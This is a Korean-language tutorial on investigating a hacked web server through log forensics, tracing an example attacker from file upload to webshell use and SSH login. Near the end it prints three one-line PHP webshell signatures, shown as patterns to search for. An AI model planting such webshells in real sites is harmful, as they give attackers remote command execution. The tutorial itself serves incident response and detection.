이미 서버가 해킹당한 경우, 로그 분석을 통해 언제, 어디서, 어떻게 침입했는지 역추적할 수 있습니다. 이 과정을 로그 포렌식(Log Forensics)이라고 하며, 재발 방지와 피해 범위 파악에 필수적입니다.
로그가 조작되거나 삭제될 수 있으므로 즉시 백업:
sudo tar -czf logs-backup-$(date +%Y%m%d-%H%M%S).tar.gz /var/log/nginx /var/log/apache2 /var/log/auth.log
ps aux > processes.txt
netstat -tulpn > network.txt
crontab -l > crontab.txt
find /var/www -type f -mtime -7 > recent_files.txt
해킹 발견 계기가 보통 웹셸(webshell)이나 악성 파일 발견입니다.
stat /var/www/html/suspicious.php
출력:
Modify: 2024-10-10 14:23:15
Access: 2024-10-10 14:23:20
Change: 2024-10-10 14:23:15
Modify 시각 = 2024-10-10 14:23:15 → 이 시간 전후 로그 집중 분석
awk '/10\/Oct\/2024:14:[01234]/' /var/log/nginx/access.log > attack_window.log
14시 00분~40분대 로그만 추출
POST 요청 + 200 응답 + 큰 바이트:
grep 'POST' attack_window.log | grep ' 200 ' | awk '$10 > 1000'
의심 로그:
192.0.2.100 - - [10/Oct/2024:14:22:58 +0000] "POST /upload.php HTTP/1.1" 200 482 "-" "Mozilla/5.0"
grep '192.0.2.100' /var/log/nginx/access.log > attacker_activity.log
시간순 정렬:
sort -k4 attacker_activity.log
전형적인 공격 시나리오:
14:20:12 GET /admin/upload.php (파일 업로드 기능 탐색)
14:21:45 POST /admin/upload.php (취약점 테스트)
14:22:58 POST /admin/upload.php (웹셸 업로드 성공)
14:23:15 GET /uploads/shell.php (웹셸 실행 확인)
14:24:00 POST /uploads/shell.php (명령 실행)
웹셸을 통한 명령 실행:
grep 'shell.php' /var/log/nginx/access.log
192.0.2.100 - - [10/Oct/2024:14:24:00 +0000] "POST /uploads/shell.php HTTP/1.1" 200 1842
192.0.2.100 - - [10/Oct/2024:14:25:30 +0000] "POST /uploads/shell.php HTTP/1.1" 200 2341
POST 요청 → 명령 실행 중
웹셸 실행 후 SSH 접속 시도:
grep '192.0.2.100' /var/log/auth.log
Oct 10 14:30:00 server sshd[12345]: Failed password for root from 192.0.2.100 port 54321 ssh2
Oct 10 14:32:15 server sshd[12346]: Accepted password for www-data from 192.0.2.100 port 54322 ssh2
www-data 계정으로 SSH 로그인 성공 → 권한 상승 시도 가능
find /var/www -type f -printf '%T@ %Tc %p\n' | sort -n | tail -50
최근 수정된 파일 50개 시간순 정렬:
1728567795 Wed Oct 10 14:23:15 2024 /var/www/html/uploads/shell.php
1728567800 Wed Oct 10 14:23:20 2024 /var/www/html/.htaccess
grep -r "eval(" /var/www/html/
grep -r "base64_decode" /var/www/html/
grep -r "system(" /var/www/html/ | grep -v "vendor"
grep -r "exec(" /var/www/html/ | grep -v "node_modules"
PHP 웹셸 시그니처:
<?php eval(base64_decode($_POST['cmd'])); ?>
<?php system($_GET['c']); ?>
<?php @eval($_POST[1]); ?>
awk '$10 > 10000000 {print $1, $7, $10}' /var/log/nginx/access.log
10MB 이상 응답 찾기
grep -E "(\.sql|database|backup)" /var/log/nginx/access.log
whois 192.0.2.100
awk '{print $1}' /var/log/nginx/access.log | grep '^192\.0\.2\.' | sort -u
로그 포렌식은 악성 파일 발견 시각부터 역추적하여 최초 침입 지점을 찾는 과정입니다. POST 요청, 파일 업로드, 웹셸 실행, SSH 접속 시도 순서로 흔적을 따라가면 공격자의 전체 경로를 복원할 수 있습니다.